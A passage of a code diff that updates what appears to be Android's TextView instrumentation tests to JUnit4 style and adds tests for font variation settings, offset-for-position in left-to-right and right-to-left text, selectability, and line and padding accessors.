+                mTextView.setFontVariationSettings(settings);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // pass.
+            }
+            assertNull("Must not change settings for " + settings,
+                    mTextView.getFontVariationSettings());
+        }
+
+        final String[] nonEffectiveSettings = {
+                "'bbbb' 1.0",  // unsupported tag
+                "'    ' 1.0",  // unsupported tag
+                "'AAAA' 0.7",  // unsupported tag (case sensitive)
+                "' a b' 1.3",  // unsupported tag (white space should not be ignored)
+                "'C D ' 1.3",  // unsupported tag (white space should not be ignored)
+                "'bbbb' 1.0, 'cccc' 2.0",  // none of them are supported.
+        };
+
+        for (String notEffectiveSetting : nonEffectiveSettings) {
+            assertFalse("Must return false for " + notEffectiveSetting,
+                    mTextView.setFontVariationSettings(notEffectiveSetting));
+            assertNull("Must not change settings for " + notEffectiveSetting,
+                    mTextView.getFontVariationSettings());
+        }
+
+        String retainSettings = "'aaaa' 1.0";
+        assertTrue(mTextView.setFontVariationSettings(retainSettings));
+        for (String notEffectiveSetting : nonEffectiveSettings) {
+            assertFalse(mTextView.setFontVariationSettings(notEffectiveSetting));
+            assertEquals("Must not change settings for " + notEffectiveSetting,
+                    retainSettings, mTextView.getFontVariationSettings());
+        }
+
+        // At least one axis is supported, the settings should be applied.
+        final String[] effectiveSettings = {
+                "'aaaa' 1.0",  // supported tag
+                "'a b ' .7",  // supported tag (contains whitespace)
+                "'aaaa' 1.0, 'BBBB' 0.5",  // both are supported
+                "'aaaa' 1.0, ' C D' 0.5",  // both are supported
+                "'aaaa' 1.0, 'bbbb' 0.4",  // 'bbbb' is unspported.
+        };
+
+        for (String effectiveSetting : effectiveSettings) {
+            assertTrue(mTextView.setFontVariationSettings(effectiveSetting));
+            assertEquals(effectiveSetting, mTextView.getFontVariationSettings());
+        }
+
+        mTextView.setFontVariationSettings("");
+        assertNull(mTextView.getFontVariationSettings());
+    }
+
+    @Test
+    public void testGetOffsetForPositionSingleLineLtr() throws Throwable {
+        // asserts getOffsetPosition returns correct values for a single line LTR text
+        final String text = "aaaaa";
+
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = new TextView(mActivity);
+            mTextView.setText(text);
+            mTextView.setTextSize(8f);
+            mTextView.setSingleLine(true);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        // add a compound drawable to TextView to make offset calculation more interesting
+        final Drawable drawable = TestUtils.getDrawable(mActivity, R.drawable.red);
+        drawable.setBounds(0, 0, 10, 10);
+        mTextView.setCompoundDrawables(drawable, drawable, drawable, drawable);
+
+        final FrameLayout layout = new FrameLayout(mActivity);
+        final ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.WRAP_CONTENT);
+        layout.addView(mTextView, layoutParams);
+        layout.setLayoutParams(layoutParams);
+
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
+        mInstrumentation.waitForIdleSync();
+
+        final float halfCharWidth = (float) Math.ceil(mTextView.getPaint().measureText("a") / 2f);
+        final int paddingTop = mTextView.getTotalPaddingTop();
+        final int paddingLeft = mTextView.getTotalPaddingLeft();
+
+        final int firstOffset = 0;
+        final int lastOffset = text.length() - 1;
+        final int midOffset = text.length() / 2;
+
+        // left edge of view
+        float x = 0f;
+        float y = mTextView.getHeight() / 2f + paddingTop;
+        assertEquals(firstOffset, mTextView.getOffsetForPosition(x, y));
+
+        // right edge of text
+        x = mTextView.getLayout().getLineWidth(0) + paddingLeft - halfCharWidth;
+        assertEquals(lastOffset, mTextView.getOffsetForPosition(x, y));
+
+        // right edge of view
+        x = mTextView.getWidth();
+        assertEquals(lastOffset + 1, mTextView.getOffsetForPosition(x, y));
+
+        // left edge of view - out of bounds
+        x = -1f;
+        assertEquals(firstOffset, mTextView.getOffsetForPosition(x, y));
+
+        // horizontal center of text
+        x = mTextView.getLayout().getLineWidth(0) / 2f + paddingLeft - halfCharWidth;
+        assertEquals(midOffset, mTextView.getOffsetForPosition(x, y));
+    }
+
+    @Test
+    public void testGetOffsetForPositionMultiLineLtr() throws Throwable {
+        final String line = "aaa\n";
+        final String threeLines = line + line + line;
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = new TextView(mActivity);
+            mTextView.setText(threeLines);
+            mTextView.setTextSize(8f);
+            mTextView.setLines(2);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        // add a compound drawable to TextView to make offset calculation more interesting
+        final Drawable drawable = TestUtils.getDrawable(mActivity, R.drawable.red);
+        drawable.setBounds(0, 0, 10, 10);
+        mTextView.setCompoundDrawables(drawable, drawable, drawable, drawable);
+
+        final FrameLayout layout = new FrameLayout(mActivity);
+        final ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.WRAP_CONTENT);
+        layout.addView(mTextView, layoutParams);
+        layout.setLayoutParams(layoutParams);
+
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
+        mInstrumentation.waitForIdleSync();
+
+        final Rect lineBounds = new Rect();
+        mTextView.getLayout().getLineBounds(0, lineBounds);
+
+        final float halfCharWidth = (float) Math.ceil(mTextView.getPaint().measureText("a") / 2f);
+        final int paddingTop = mTextView.getTotalPaddingTop();
+        final int paddingLeft = mTextView.getTotalPaddingLeft();
+
+        // left edge of view at first line
+        float x = 0f;
+        float y = lineBounds.height() / 2f + paddingTop;
+        assertEquals(0, mTextView.getOffsetForPosition(x, y));
+
+        // right edge of view at first line
+        x = mTextView.getWidth() - 1f;
+        assertEquals(line.length() - 1, mTextView.getOffsetForPosition(x, y));
+
+        // update lineBounds to be the second line
+        mTextView.getLayout().getLineBounds(1, lineBounds);
+        y = lineBounds.top + lineBounds.height() / 2f + paddingTop;
+
+        // left edge of view at second line
+        x = 0f;
+        assertEquals(line.length(), mTextView.getOffsetForPosition(x, y));
+
+        // right edge of text at second line
+        x = mTextView.getLayout().getLineWidth(1) + paddingLeft - halfCharWidth;
+        assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
+
+        // right edge of view at second line
+        x = mTextView.getWidth() - 1f;
+        assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
+
+        // horizontal center of text at second line
+        x = mTextView.getLayout().getLineWidth(1) / 2f + paddingLeft - halfCharWidth;
+        // second line mid offset should not include next line, therefore subtract one
+        assertEquals(line.length() + (line.length() - 1) / 2, mTextView.getOffsetForPosition(x, y));
+    }
+
+    @Test
+    public void testGetOffsetForPositionMultiLineRtl() throws Throwable {
+        final String line = "\u0635\u0635\u0635\n";
+        final String threeLines = line + line + line;
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = new TextView(mActivity);
+            mTextView.setText(threeLines);
+            mTextView.setTextSize(8f);
+            mTextView.setLines(2);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        // add a compound drawable to TextView to make offset calculation more interesting
+        final Drawable drawable = TestUtils.getDrawable(mActivity, R.drawable.red);
+        drawable.setBounds(0, 0, 10, 10);
+        mTextView.setCompoundDrawables(drawable, drawable, drawable, drawable);
+
+        final FrameLayout layout = new FrameLayout(mActivity);
+        final LayoutParams layoutParams = new LayoutParams(
+                LayoutParams.MATCH_PARENT,
+                LayoutParams.WRAP_CONTENT);
+        layout.addView(mTextView, layoutParams);
+        layout.setLayoutParams(layoutParams);
+
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
+        mInstrumentation.waitForIdleSync();
+
+        final Rect lineBounds = new Rect();
+        mTextView.getLayout().getLineBounds(0, lineBounds);
+
+        final float halfCharWidth = (float) Math.ceil(
+                mTextView.getPaint().measureText("\u0635") / 2f);
+        final int paddingTop = mTextView.getTotalPaddingTop();
+        final int paddingRight = mTextView.getTotalPaddingRight();
+
+        // right edge of view at first line
+        float x = mTextView.getWidth() - 1f;
+        float y = lineBounds.height() / 2f + paddingTop;
+        assertEquals(0, mTextView.getOffsetForPosition(x, y));
+
+        // left edge of view at first line
+        x = 0f;
+        assertEquals(line.length() - 1, mTextView.getOffsetForPosition(x, y));
+
+        // update lineBounds to be the second line
+        mTextView.getLayout().getLineBounds(1, lineBounds);
+        y = lineBounds.top + lineBounds.height() / 2f + paddingTop;
+
+        // right edge of view at second line
+        x = mTextView.getWidth() - 1f;
+        assertEquals(line.length(), mTextView.getOffsetForPosition(x, y));
+
+        // left edge of view at second line
+        x = 0f;
+        assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
+
+        // left edge of text at second line
+        x = mTextView.getWidth() - (mTextView.getLayout().getLineWidth(1) + paddingRight
+                - halfCharWidth);
+        assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
+
+        // horizontal center of text at second line
+        x = mTextView.getWidth() - (mTextView.getLayout().getLineWidth(1) / 2f + paddingRight
+                - halfCharWidth);
+        // second line mid offset should not include next line, therefore subtract one
+        assertEquals(line.length() + (line.length() - 1) / 2, mTextView.getOffsetForPosition(x, y));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testIsTextSelectable_returnsFalseByDefault() {
+        final TextView textView = new TextView(mActivity);
+        textView.setText("any text");
+        assertFalse(textView.isTextSelectable());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testIsTextSelectable_returnsTrueIfSetTextIsSelectableCalledWithTrue() {
+        final TextView textView = new TextView(mActivity);
+        textView.setText("any text");
+        textView.setTextIsSelectable(true);
+        assertTrue(textView.isTextSelectable());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetIsTextSelectable() {
+        final TextView textView = new TextView(mActivity);
+
+        assertFalse(textView.isTextSelectable());
+        assertFalse(textView.isFocusable());
+        assertFalse(textView.isFocusableInTouchMode());
+        assertFalse(textView.isClickable());
+        assertFalse(textView.isLongClickable());
+
+        textView.setTextIsSelectable(true);
+
+        assertTrue(textView.isTextSelectable());
+        assertTrue(textView.isFocusable());
+        assertTrue(textView.isFocusableInTouchMode());
+        assertTrue(textView.isClickable());
+        assertTrue(textView.isLongClickable());
+        assertNotNull(textView.getMovementMethod());
+    }
+
+    @Test
+    public void testAccessTransformationMethod() throws Throwable {
         // check the password attribute in xml
         mTextView = findTextView(R.id.textview_password);
         assertNotNull(mTextView);
@@ -2971,48 +3799,34 @@
                 Capitalize.NONE);
         final TransformationMethod method = PasswordTransformationMethod.getInstance();
         // change transformation method by function
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(qwertyKeyListener);
-                mTextView.setTransformationMethod(method);
-                mTransformedText = method.getTransformation(mTextView.getText(), mTextView);
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setKeyListener(qwertyKeyListener);
+            mTextView.setTransformationMethod(method);
+            mTransformedText = method.getTransformation(mTextView.getText(), mTextView);
 
-                mTextView.requestFocus();
-            }
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
         assertSame(PasswordTransformationMethod.getInstance(),
                 mTextView.getTransformationMethod());
 
-        mKeyEventUtil.sendKeys(mTextView, "H E 2*L O");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.append(" ");
-            }
-        });
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, "H E 2*L O");
+        mActivityRule.runOnUiThread(() -> mTextView.append(" "));
         mInstrumentation.waitForIdleSync();
 
-        // it will get transformed after a while
-        new PollingCheck(TIMEOUT) {
-            @Override
-            protected boolean check() {
-                // "******"
-                return mTransformedText.toString()
-                        .equals("\u2022\u2022\u2022\u2022\u2022\u2022");
-            }
-        }.run();
+        // It will get transformed after a while
+        // We're waiting for transformation to "******"
+        PollingCheck.waitFor(TIMEOUT, () -> mTransformedText.toString()
+                .equals("\u2022\u2022\u2022\u2022\u2022\u2022"));
 
         // set null
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setTransformationMethod(null);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setTransformationMethod(null));
         mInstrumentation.waitForIdleSync();
         assertNull(mTextView.getTransformationMethod());
     }
 
     @UiThreadTest
+    @Test
     public void testCompound() {
         mTextView = new TextView(mActivity);
         int padding = 3;
@@ -3032,20 +3846,20 @@
         drawables = mTextView.getCompoundDrawables();
 
         // drawableLeft
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.start),
+        WidgetTestUtils.assertEquals(TestUtils.getBitmap(mActivity, R.drawable.start),
                 ((BitmapDrawable) drawables[0]).getBitmap());
         // drawableTop
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.pass),
+        WidgetTestUtils.assertEquals(TestUtils.getBitmap(mActivity, R.drawable.pass),
                 ((BitmapDrawable) drawables[1]).getBitmap());
         // drawableRight
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.failed),
+        WidgetTestUtils.assertEquals(TestUtils.getBitmap(mActivity, R.drawable.failed),
                 ((BitmapDrawable) drawables[2]).getBitmap());
         // drawableBottom
         assertNull(drawables[3]);
 
-        Drawable left = getDrawable(R.drawable.blue);
-        Drawable right = getDrawable(R.drawable.yellow);
-        Drawable top = getDrawable(R.drawable.red);
+        Drawable left = TestUtils.getDrawable(mActivity, R.drawable.blue);
+        Drawable right = TestUtils.getDrawable(mActivity, R.drawable.yellow);
+        Drawable top = TestUtils.getDrawable(mActivity, R.drawable.red);
 
         // using drawables directly
         mTextView.setCompoundDrawablesWithIntrinsicBounds(left, top, right, null);
@@ -3096,79 +3910,122 @@
         assertEquals(mTextView.getPaddingBottom(), mTextView.getCompoundPaddingBottom());
     }
 
-    public void testSingleLine() {
-        final TextView textView = new TextView(mActivity);
-        setSpannableText(textView, "This is a really long sentence"
+    @UiThreadTest
+    @Test
+    public void testGetCompoundDrawablesRelative() {
+        // prepare textview
+        mTextView = new TextView(mActivity);
+
+        // prepare drawables
+        final Drawable start = TestUtils.getDrawable(mActivity, R.drawable.blue);
+        final Drawable end = TestUtils.getDrawable(mActivity, R.drawable.yellow);
+        final Drawable top = TestUtils.getDrawable(mActivity, R.drawable.red);
+        final Drawable bottom = TestUtils.getDrawable(mActivity, R.drawable.black);
+        assertNotNull(start);
+        assertNotNull(end);
+        assertNotNull(top);
+        assertNotNull(bottom);
+
+        Drawable[] drawables = mTextView.getCompoundDrawablesRelative();
+        assertNotNull(drawables);
+        assertEquals(4, drawables.length);
+        assertNull(drawables[0]);
+        assertNull(drawables[1]);
+        assertNull(drawables[2]);
+        assertNull(drawables[3]);
+
+        mTextView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+        mTextView.setCompoundDrawablesRelative(start, top, end, bottom);
+        drawables = mTextView.getCompoundDrawablesRelative();
+
+        assertNotNull(drawables);
+        assertEquals(4, drawables.length);
+        assertSame(start, drawables[0]);
+        assertSame(top, drawables[1]);
+        assertSame(end, drawables[2]);
+        assertSame(bottom, drawables[3]);
+
+        mTextView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+        mTextView.setCompoundDrawablesRelative(start, top, end, bottom);
+        drawables = mTextView.getCompoundDrawablesRelative();
+
+        assertNotNull(drawables);
+        assertEquals(4, drawables.length);
+        assertSame(start, drawables[0]);
+        assertSame(top, drawables[1]);
+        assertSame(end, drawables[2]);
+        assertSame(bottom, drawables[3]);
+
+        mTextView.setCompoundDrawablesRelative(null, null, null, null);
+        drawables = mTextView.getCompoundDrawablesRelative();
+
+        assertNotNull(drawables);
+        assertEquals(4, drawables.length);
+        assertNull(drawables[0]);
+        assertNull(drawables[1]);
+        assertNull(drawables[2]);
+        assertNull(drawables[3]);
+    }
+
+    @Test
+    public void testSingleLine() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
+
+        setSpannableText(mTextView, "This is a really long sentence"
                 + " which can not be placed in one line on the screen.");
 
         // Narrow layout assures that the text will get wrapped.
-        FrameLayout innerLayout = new FrameLayout(mActivity);
+        final FrameLayout innerLayout = new FrameLayout(mActivity);
         innerLayout.setLayoutParams(new ViewGroup.LayoutParams(100, 100));
-        innerLayout.addView(textView);
+        innerLayout.addView(mTextView);
 
         final FrameLayout layout = new FrameLayout(mActivity);
         layout.addView(innerLayout);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(layout);
-                textView.setSingleLine(true);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(layout);
+            mTextView.setSingleLine(true);
         });
         mInstrumentation.waitForIdleSync();
 
         assertEquals(SingleLineTransformationMethod.getInstance(),
-                textView.getTransformationMethod());
+                mTextView.getTransformationMethod());
 
         int singleLineWidth = 0;
         int singleLineHeight = 0;
 
-        if (textView.getLayout() != null) {
-            singleLineWidth = textView.getLayout().getWidth();
-            singleLineHeight = textView.getLayout().getHeight();
+        if (mTextView.getLayout() != null) {
+            singleLineWidth = mTextView.getLayout().getWidth();
+            singleLineHeight = mTextView.getLayout().getHeight();
         }
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                textView.setSingleLine(false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setSingleLine(false));
         mInstrumentation.waitForIdleSync();
-        assertEquals(null, textView.getTransformationMethod());
+        assertEquals(null, mTextView.getTransformationMethod());
 
-        if (textView.getLayout() != null) {
-            assertTrue(textView.getLayout().getHeight() > singleLineHeight);
-            assertTrue(textView.getLayout().getWidth() < singleLineWidth);
+        if (mTextView.getLayout() != null) {
+            assertTrue(mTextView.getLayout().getHeight() > singleLineHeight);
+            assertTrue(mTextView.getLayout().getWidth() < singleLineWidth);
         }
 
         // same behaviours as setSingLine(true)
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                textView.setSingleLine();
-            }
-        });
+        mActivityRule.runOnUiThread(mTextView::setSingleLine);
         mInstrumentation.waitForIdleSync();
         assertEquals(SingleLineTransformationMethod.getInstance(),
-                textView.getTransformationMethod());
+                mTextView.getTransformationMethod());
 
-        if (textView.getLayout() != null) {
-            assertEquals(singleLineHeight, textView.getLayout().getHeight());
-            assertEquals(singleLineWidth, textView.getLayout().getWidth());
+        if (mTextView.getLayout() != null) {
+            assertEquals(singleLineHeight, mTextView.getLayout().getHeight());
+            assertEquals(singleLineWidth, mTextView.getLayout().getWidth());
         }
     }
 
     @UiThreadTest
-    public void testSetMaxLines() {
+    @Test
+    public void testAccessMaxLines() {
         mTextView = findTextView(R.id.textview_text);
-
-        float[] widths = new float[LONG_TEXT.length()];
-        mTextView.getPaint().getTextWidths(LONG_TEXT, widths);
-        float totalWidth = 0.0f;
-        for (float f : widths) {
-            totalWidth += f;
-        }
-        final int stringWidth = (int) totalWidth;
-        mTextView.setWidth(stringWidth >> 2);
+        mTextView.setWidth((int) (mTextView.getPaint().measureText(LONG_TEXT) / 4));
         mTextView.setText(LONG_TEXT);
 
         final int maxLines = 2;
@@ -3177,24 +4034,13 @@
         mTextView.setMaxLines(maxLines);
         mTextView.requestLayout();
 
+        assertEquals(2, mTextView.getMaxLines());
+        assertEquals(-1, mTextView.getMaxHeight());
         assertTrue(mTextView.getHeight() <= maxLines * mTextView.getLineHeight());
     }
 
-    public int calculateTextWidth(String text) {
-        mTextView = findTextView(R.id.textview_text);
-
-        // Set the TextView width as the half of the whole text.
-        float[] widths = new float[text.length()];
-        mTextView.getPaint().getTextWidths(text, widths);
-        float textfieldWidth = 0.0f;
-        for (int i = 0; i < text.length(); ++i) {
-            textfieldWidth += widths[i];
-        }
-        return (int)textfieldWidth;
-
-    }
-
     @UiThreadTest
+    @Test
     public void testHyphenationNotHappen_frequencyNone() {
         final int[] BREAK_STRATEGIES = {
             Layout.BREAK_STRATEGY_SIMPLE, Layout.BREAK_STRATEGY_HIGH_QUALITY,
@@ -3205,7 +4051,8 @@
         for (int breakStrategy : BREAK_STRATEGIES) {
             for (int charWidth = 10; charWidth < 120; charWidth += 5) {
                 // Change the text view's width to charWidth width.
-                mTextView.setWidth(calculateTextWidth(LONG_TEXT.substring(0, charWidth)));
+                final String substring = LONG_TEXT.substring(0, charWidth);
+                mTextView.setWidth((int) Math.ceil(mTextView.getPaint().measureText(substring)));
 
                 mTextView.setText(LONG_TEXT);
                 mTextView.setBreakStrategy(breakStrategy);
@@ -3229,6 +4076,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testHyphenationNotHappen_breakStrategySimple() {
         final int[] HYPHENATION_FREQUENCIES = {
             Layout.HYPHENATION_FREQUENCY_NORMAL, Layout.HYPHENATION_FREQUENCY_FULL,
@@ -3239,7 +4087,8 @@
         for (int hyphenationFrequency: HYPHENATION_FREQUENCIES) {
             for (int charWidth = 10; charWidth < 120; charWidth += 5) {
                 // Change the text view's width to charWidth width.
-                mTextView.setWidth(calculateTextWidth(LONG_TEXT.substring(0, charWidth)));
+                final String substring = LONG_TEXT.substring(0, charWidth);
+                mTextView.setWidth((int) Math.ceil(mTextView.getPaint().measureText(substring)));
 
                 mTextView.setText(LONG_TEXT);
                 mTextView.setBreakStrategy(Layout.BREAK_STRATEGY_SIMPLE);
@@ -3263,6 +4112,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetMaxLinesException() {
         mTextView = new TextView(mActivity);
         mActivity.setContentView(mTextView);
@@ -3270,20 +4120,25 @@
         mTextView.setMaxLines(-1);
     }
 
-    public void testSetMinLines() {
+    @Test
+    public void testAccessMinLines() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         setWidth(mTextView.getWidth() >> 3);
-        int originalHeight = mTextView.getHeight();
         int originalLines = mTextView.getLineCount();
 
         setMinLines(originalLines - 1);
         assertTrue((originalLines - 1) * mTextView.getLineHeight() <= mTextView.getHeight());
+        assertEquals(originalLines - 1, mTextView.getMinLines());
+        assertEquals(-1, mTextView.getMinHeight());
 
         setMinLines(originalLines + 1);
         assertTrue((originalLines + 1) * mTextView.getLineHeight() <= mTextView.getHeight());
+        assertEquals(originalLines + 1, mTextView.getMinLines());
+        assertEquals(-1, mTextView.getMinHeight());
     }
 
-    public void testSetLines() {
+    @Test
+    public void testSetLines() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         // make it multiple lines
         setWidth(mTextView.getWidth() >> 3);
@@ -3297,6 +4152,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetLinesException() {
         mTextView = new TextView(mActivity);
         mActivity.setContentView(mTextView);
@@ -3305,13 +4161,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetExtendedPaddingTop() {
         mTextView = findTextView(R.id.textview_text);
         // Initialized value
         assertEquals(0, mTextView.getExtendedPaddingTop());
 
         // After Set a Drawable
-        final Drawable top = getDrawable(R.drawable.red);
+        final Drawable top = TestUtils.getDrawable(mActivity, R.drawable.red);
         top.setBounds(0, 0, 100, 10);
         mTextView.setCompoundDrawables(null, top, null, null);
         assertEquals(mTextView.getCompoundPaddingTop(), mTextView.getExtendedPaddingTop());
@@ -3324,13 +4181,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetExtendedPaddingBottom() {
         mTextView = findTextView(R.id.textview_text);
         // Initialized value
         assertEquals(0, mTextView.getExtendedPaddingBottom());
 
         // After Set a Drawable
-        final Drawable bottom = getDrawable(R.drawable.red);
+        final Drawable bottom = TestUtils.getDrawable(mActivity, R.drawable.red);
         bottom.setBounds(0, 0, 100, 10);
         mTextView.setCompoundDrawables(null, null, null, bottom);
         assertEquals(mTextView.getCompoundPaddingBottom(), mTextView.getExtendedPaddingBottom());
@@ -3342,20 +4200,19 @@
         assertTrue(mTextView.getExtendedPaddingBottom() > 0);
     }
 
-    public void testGetTotalPaddingTop() {
+    @Test
+    public void testGetTotalPaddingTop() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         // Initialized value
         assertEquals(0, mTextView.getTotalPaddingTop());
 
         // After Set a Drawable
-        final Drawable top = getDrawable(R.drawable.red);
+        final Drawable top = TestUtils.getDrawable(mActivity, R.drawable.red);
         top.setBounds(0, 0, 100, 10);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setCompoundDrawables(null, top, null, null);
-                mTextView.setLines(mTextView.getLineCount() - 1);
-                mTextView.setGravity(Gravity.BOTTOM);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setCompoundDrawables(null, top, null, null);
+            mTextView.setLines(mTextView.getLineCount() - 1);
+            mTextView.setGravity(Gravity.BOTTOM);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(mTextView.getExtendedPaddingTop(), mTextView.getTotalPaddingTop());
@@ -3368,20 +4225,19 @@
         assertEquals(expected, mTextView.getTotalPaddingTop());
     }
 
-    public void testGetTotalPaddingBottom() {
+    @Test
+    public void testGetTotalPaddingBottom() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         // Initialized value
         assertEquals(0, mTextView.getTotalPaddingBottom());
 
         // After Set a Drawable
-        final Drawable bottom = getDrawable(R.drawable.red);
+        final Drawable bottom = TestUtils.getDrawable(mActivity, R.drawable.red);
         bottom.setBounds(0, 0, 100, 10);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setCompoundDrawables(null, null, null, bottom);
-                mTextView.setLines(mTextView.getLineCount() - 1);
-                mTextView.setGravity(Gravity.CENTER_VERTICAL);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setCompoundDrawables(null, null, null, bottom);
+            mTextView.setLines(mTextView.getLineCount() - 1);
+            mTextView.setGravity(Gravity.CENTER_VERTICAL);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(mTextView.getExtendedPaddingBottom(), mTextView.getTotalPaddingBottom());
@@ -3397,13 +4253,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetTotalPaddingLeft() {
         mTextView = findTextView(R.id.textview_text);
         // Initialized value
         assertEquals(0, mTextView.getTotalPaddingLeft());
 
         // After Set a Drawable
-        Drawable left = getDrawable(R.drawable.red);
+        Drawable left = TestUtils.getDrawable(mActivity, R.drawable.red);
         left.setBounds(0, 0, 10, 100);
         mTextView.setCompoundDrawables(left, null, null, null);
         mTextView.setGravity(Gravity.RIGHT);
@@ -3415,13 +4272,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetTotalPaddingRight() {
         mTextView = findTextView(R.id.textview_text);
         // Initialized value
         assertEquals(0, mTextView.getTotalPaddingRight());
 
         // After Set a Drawable
-        Drawable right = getDrawable(R.drawable.red);
+        Drawable right = TestUtils.getDrawable(mActivity, R.drawable.red);
         right.setBounds(0, 0, 10, 100);
         mTextView.setCompoundDrawables(null, null, right, null);
         mTextView.setGravity(Gravity.CENTER_HORIZONTAL);
@@ -3432,6 +4290,8 @@
         assertEquals(mTextView.getCompoundPaddingRight(), mTextView.getTotalPaddingRight());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetUrls() {
         mTextView = new TextView(mActivity);
 
@@ -3463,6 +4323,8 @@
         assertEquals(2, spans.length);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetPadding() {
         mTextView = new TextView(mActivity);
 
@@ -3479,6 +4341,8 @@
         assertEquals(40, mTextView.getPaddingBottom());
     }
 
+    @UiThreadTest
+    @Test
     public void testDeprecatedSetTextAppearance() {
         mTextView = new TextView(mActivity);
 
@@ -3508,6 +4372,8 @@
         assertEquals(null, mTextView.getTypeface());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetTextAppearance() {
         mTextView = new TextView(mActivity);
 
@@ -3520,6 +4386,8 @@
                 mTextView.getCurrentHintTextColor());
         assertEquals(mActivity.getResources().getColor(R.drawable.blue),
                 mTextView.getLinkTextColors().getDefaultColor());
+        assertEquals(mActivity.getResources().getColor(R.drawable.yellow),
+                mTextView.getHighlightColor());
 
         mTextView.setTextAppearance(R.style.TextAppearance_Colors);
         assertEquals(mActivity.getResources().getColor(R.drawable.black),
@@ -3528,6 +4396,8 @@
                 mTextView.getCurrentHintTextColor());
         assertEquals(mActivity.getResources().getColor(R.drawable.yellow),
                 mTextView.getLinkTextColors().getDefaultColor());
+        assertEquals(mActivity.getResources().getColor(R.drawable.red),
+                mTextView.getHighlightColor());
 
         mTextView.setTextAppearance(R.style.TextAppearance_NotColors);
         assertEquals(17f, mTextView.getTextSize(), 0.01f);
@@ -3537,10 +4407,8 @@
         assertEquals(null, mTextView.getTypeface());
     }
 
-    public void testOnPreDraw() {
-        // Do not test. Implementation details.
-    }
-
+    @UiThreadTest
+    @Test
     public void testAccessCompoundDrawableTint() {
         mTextView = new TextView(mActivity);
 
@@ -3568,7 +4436,8 @@
         assertEquals(PorterDuff.Mode.XOR, mTextView.getCompoundDrawableTintMode());
     }
 
-    public void testSetHorizontallyScrolling() {
+    @Test
+    public void testSetHorizontallyScrolling() throws Throwable {
         // make the text view has more than one line
         mTextView = findTextView(R.id.textview_text);
         setWidth(mTextView.getWidth() >> 1);
@@ -3581,49 +4450,65 @@
         assertTrue(mTextView.getLineCount() > 1);
     }
 
-    public void testComputeHorizontalScrollRange() {
-        MockTextView textView = new MockTextView(mActivity);
+    @Test
+    public void testComputeHorizontalScrollRange() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = new MockTextView(mActivity));
+        mInstrumentation.waitForIdleSync();
         // test when layout is null
-        assertNull(textView.getLayout());
-        assertEquals(textView.getWidth(), textView.computeHorizontalScrollRange());
+        assertNull(mTextView.getLayout());
+        assertEquals(mTextView.getWidth(),
+                ((MockTextView) mTextView).computeHorizontalScrollRange());
 
-        textView.setFrame(0, 0, 40, 50);
-        assertEquals(textView.getWidth(), textView.computeHorizontalScrollRange());
+        mActivityRule.runOnUiThread(() -> ((MockTextView) mTextView).setFrame(0, 0, 40, 50));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(mTextView.getWidth(),
+                ((MockTextView) mTextView).computeHorizontalScrollRange());
 
         // set the layout
